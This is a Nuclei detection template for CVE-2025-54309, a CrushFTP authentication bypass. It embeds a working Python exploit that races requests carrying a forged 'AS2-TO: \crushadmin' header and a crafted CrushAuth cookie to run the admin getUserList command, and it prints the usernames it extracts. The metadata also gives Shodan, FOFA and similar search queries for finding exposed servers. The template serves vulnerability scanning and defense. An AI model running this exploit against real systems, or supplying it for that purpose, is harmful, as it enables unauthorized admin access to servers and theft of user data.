nuclei-templates/code/cves/2025/CVE-2025-54309.yaml

id: CVE-2025-54309

info:
  name: CrushFTP - Authentication Bypass Race Condition
  author: pussycat0x,watchTowr,dhiyaneshdk
  severity: critical
  description: |
    CrushFTP 10 before 10.8.5 and 11 before 11.3.4_23, when the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS, as exploited in the wild in July 2025.
  impact: |
    Remote attackers can bypass authentication and access sensitive user data, potentially leading to unauthorized access to the CrushFTP system and exfiltration of user information.
  remediation: |
    Update to the latest version of CrushFTP that patches this authentication bypass vulnerability.
  reference:
    - https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309/blob/main/watchTowr-vs-CrushFTP-CVE-2025-54309.py
    - https://labs.watchtowr.com/the-one-where-we-just-steal-the-vulnerabilities-crushftp-cve-2025-54309/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-54309
    epss-score: 0.7567
    epss-percentile: 0.98863
    cwe-id: CWE-287,CWE-362
    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: crushftp
    product: crushftp
    shodan-query:
      - http.title:"crushftp"
      - http.favicon.hash:-1022206565
    fofa-query:
      - title="crushftp"
      - icon_hash="-1022206565"
    zoomeye-query: title:"crushftp"
    google-query: intitle:"crushftp"
  tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev,vkev,vuln

variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"

code:
  - engine:
      - py
      - python3
    source: |
      import requests
      import threading
      import time
      import random
      import string
      import re
      import os

      def generate_random_c2f():
          """Generate random 4-character c2f value"""
          return ''.join(random.choices(string.ascii_letters + string.digits, k=4))

      def make_request_with_as2(target_url, c2f_value, cookie):
          """Make request with AS2-TO header and disposition-notification content type"""
          url = f"{target_url}/WebInterface/function/"

          headers = {
              "Host": target_url.replace("http://", "").replace("https://", ""),
              "User-Agent": "python-requests/2.32.3",
              "Accept-Encoding": "gzip, deflate",
              "Accept": "*/*",
              "Connection": "keep-alive",
              "AS2-TO": "\\crushadmin",
              "Content-Type": "disposition-notification",
              "X-Requested-With": "XMLHttpRequest",
              "Cookie": cookie
          }

          data = {
              "command": "getUserList",
              "serverGroup": "MainUsers",
              "c2f": c2f_value
          }

          try:
              response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
              return f"AS2 Request - Status: {response.status_code}", response.text
          except Exception as e:
              return f"AS2 Request - Error: {str(e)}", ""

      def make_request_without_as2(target_url, c2f_value, cookie):
          """Make request without AS2-TO header and disposition-notification content type"""
          url = f"{target_url}/WebInterface/function/"

          headers = {
              "Host": target_url.replace("http://", "").replace("https://", ""),
              "User-Agent": "python-requests/2.32.3",
              "Accept-Encoding": "gzip, deflate",
              "Accept": "*/*",
              "Connection": "keep-alive",
              "X-Requested-With": "XMLHttpRequest",
              "Cookie": cookie
          }

          data = {
              "command": "getUserList",
              "serverGroup": "MainUsers",
              "c2f": c2f_value
          }

          try:
              response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
              return f"Regular Request - Status: {response.status_code}", response.text
          except Exception as e:
              return f"Regular Request - Error: {str(e)}", ""

      def check_vulnerable_response(response_text):
          """Check if response contains user_list_subitem pattern and extract usernames"""
          if "<user_list_subitem>" in response_text:
              usernames = re.findall(r'<user_list_subitem>(.*?)</user_list_subitem>', response_text)
              if usernames:
                  top_users = usernames[:10]
                  print(f"[*] EXFILTRATED {len(top_users)} USERS: {', '.join(top_users)}")
                  return True
          return False

      def race_requests_with_detection(target_url, num_requests=100):
          """Race multiple requests and detect vulnerability"""
          print(f"Starting race with {num_requests} request pairs...")

          for i in range(num_requests):
              # Generate new c2f every 50 requests
              if i % 50 == 0:
                  c2f_value = generate_random_c2f()
                  cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
                  print(f"[*] NEW SESSION: c2f={c2f_value}")
              else:
                  c2f_value = generate_random_c2f()
                  cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"

              # Store results
              results = {'as2': None, 'regular': None}

              def as2_worker():
                  results['as2'] = make_request_with_as2(target_url, c2f_value, cookie)

              def regular_worker():
                  results['regular'] = make_request_without_as2(target_url, c2f_value, cookie)

              # Create and start threads
              t1 = threading.Thread(target=as2_worker)
              t2 = threading.Thread(target=regular_worker)

              # Start both threads simultaneously
              t1.start()
              t2.start()

              # Wait for both to complete
              t1.join()
              t2.join()

              # Check for vulnerability in both responses
              as2_status, as2_response = results['as2']
              regular_status, regular_response = results['regular']

              # Check if either response contains the user list pattern
              if check_vulnerable_response(as2_response) or check_vulnerable_response(regular_response):
                  print(f"VULNERABLE: {target_url}")
                  return True

              # Print progress every 25 requests
              if (i + 1) % 25 == 0:
                  print(f"[*] PROGRESS: {i + 1}/{num_requests} request pairs completed...")

          return False

      if __name__ == "__main__":
          host = os.getenv("Host")
          port = os.getenv("Port")

          if not host:
              print("Host environment variable not set")
              exit(1)

          # Construct target URL
          if not host.startswith(('http://', 'https://')):
              target_url = f"http://{host}"
              if port and port != "80":
                  target_url = f"http://{host}:{port}"
          else:
              target_url = host
              if port and port != "80" and port not in host:
                  target_url = f"{host}:{port}"

          print(f"[*] Testing target: {target_url}")

          # Try 100 requests with race condition detection
          if race_requests_with_detection(target_url, 100):
              print("VULNERABLE: Race condition vulnerability detected!")
          else:
              print("Target appears to be patched or timing window missed")

    matchers:
      - type: word
        words:
          - "VULNERABLE:"
# digest: 4a0a00473045022000d924f729d3624d7089ea29cb0d05ebc861e0c002a09c0bf14f28e52e996c5302210090272a01168052b1e56d7c619819c5ba45340b5d6623be0b5467a6988c9db24c:922c64590222798bb761d5b6d8e72950